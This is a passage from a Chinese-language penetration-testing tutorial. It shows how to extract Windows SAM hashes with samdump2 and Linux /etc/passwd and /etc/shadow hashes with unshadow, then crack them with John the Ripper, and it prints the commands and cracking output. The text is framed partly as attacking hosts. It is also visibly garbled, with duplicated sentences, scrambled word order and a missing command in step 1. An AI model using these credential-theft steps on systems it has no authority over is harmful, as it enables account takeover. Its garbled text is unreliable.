忘记操作系统的密码或攻击主机时,需要知道系统中用户的用户名和密码。本节将分别介绍破解Windows和Linux用户密码。
8.6.1 破解Windows用户密码Windows保存了系统的用户名和密码SAM(安全账户管理器)文件中。在基于NT内核的Windows包括系统Windows 本文件保存在2000及后续版本中,C:\\Windows\\System32\\Config”目录下。由于安全原因,微软增加了一些额外的安全措施来保护文件。首先,操作系统启动后,SAM同时锁定文件。这意味着当操作系统运行时,用户无法打开或复制SAM文件。除了锁,整个SAM文件也加密了,看不见。
幸运的是,有办法绕过这些限制。在远程计算机中,只要目标处于运行状态,就可以使用Meterpreter和SAM Juicer在计算机上获取散列文件。获得访问系统的物理权限后,用户可以在其上启动其他操作系统,如USB或DVD-ROM设备上的Kali Linux。启动目标计算机进入其他操作系统后,用户可以使用它Kali中的John the Ripper破解工具Windows用户密码。
使用John the Ripper工具破解Windows用户密码。具体操作步骤如下所示。
(1)检查当前系统中的硬盘驱动。执行命令如下:
输出信息表示,当前系统中只有一个磁盘和一个分区。该文件系统的类型是NTFS,也是Windows存储在系统中的磁盘。
(2)硬盘驱动挂载。执行命令如下:
root@kali:~# mkdir /sda1 #创建挂载点root@kali:~# mount /dev/sda1 /sda1/ #挂载/dev/sda1分区
执行上述命令后,无输出信息。
(3)切换目录,进入Windows SAM文件的位置。执行命令如下:
root@kali:~# cd /sda1/WINDOWS/system32/config/
在这个目录中可以看到SAM文件。
(4)使用SamDump2提取SAM文件。执行命令如下:
root@kali:/sda1/WINDOWS/system32/config# samdump2 SAM system > /root/hash.txtsamdump2 1.1.1 by Objectif Securitehttp://www.objectif-securite.choriginal author: ncuomo@studenti.unina.itRoot Key : SAM
从输出信息中可以看到提取物SAM文件。将文件内容重定向/root/hash.txt文件中。将文件内容重定向/root/hash.txt文件中。
(5)运行john实现密码攻击的命令。执行命令如下:
root@kali:/sda1/WINDOWS/system32/config# /usr/sbin/john /root/hash.txt --format=ntCreated directory: /root/.johnLoaded 6 password hashes with no different salts (NT MD4[128/128 SSE2 32/32]) (Guest)guesses: 4 time: 0:00:03:13 0.09% (3) (ETA: Mon May 12 06:46:42 2014) c/s: 152605K trying: 2KRIN.P - 2KRIDY8guesses: 4 time: 0:00:04:26 0.13% (3) (ETA: Mon May 12 04:02:53 2014) c/s: 152912K trying: GR0KUHI - GR0KDN1guesses: 4 time: 0:00:04:27 0.13% (3) (ETA: Mon May 12 04:15:42 2014) c/s: 152924K trying: HKCUUHT - HKCUGDS
8.6.2 破解Linux用户密码
破解Linux密码基本和破解Windows密码的方法非常相似,在这个过程中只有一点不同。Linux未使用系统SAM保存密码散列的文件夹。Linux未使用系统SAM保存密码散列的文件夹。Linux系统将加密密码散列在一个名称中shadow在文件中,文件的绝对路径为/etc/shadow。
但是,在使用中John the Ripper破解/etc/shadow还需要//etc/passwd文件。这和提取Windows需要密码散列system文件和SAM文件也是如此。John the Ripper它有自己的功能,可以shadow和passwd这个工具可以结合文件破解Linux用户密码系统。本节将介绍破解Linux用户密码的方法。
使用John the Ripper工具破解Linux用户密码。具体操作步骤如下所示。
(1)使用unshadow提取密码散列。执行命令如下:
root@kali:~# unshadow /etc/passwd /etc/shadow > /tmp/linux_hashes.txt
执行上述命令后,/etc/passwd/文件与/etc/shadow/文件结合在一起,生成一个叫做linux_hashes.txt保存在/tmp/目录中。
(2)破解Linux用户密码。执行命令如下:
root@kali:~# john --format=crypt --show /tmp/linux_hashes.txtroot:123456:0:0:root:/root:/bin/bashbob:123456:1000:1001::/home/bob:/bin/shalice:123456:1001:1002::/home/alice:/bin/sh3 password hashes cracked, 0 left
从输出结果可以看出,目前系统中有三个用户,密码为123456。
注意:使用John the Ripper开始破解Linux在使用支持破解不同类型密码散列的密码之前John the Ripper版本。如果使用错误的版本或使用未打补丁John the Ripper,该程序将返回错误息No password hashes loaded(无价值密码散列)。如果使用错误的版本或使用未打补丁John the Ripper,该程序将返回错误息No password hashes loaded(无价值密码散列)。大多数现代Linux系统都使用SHA散列加密算法保存密码。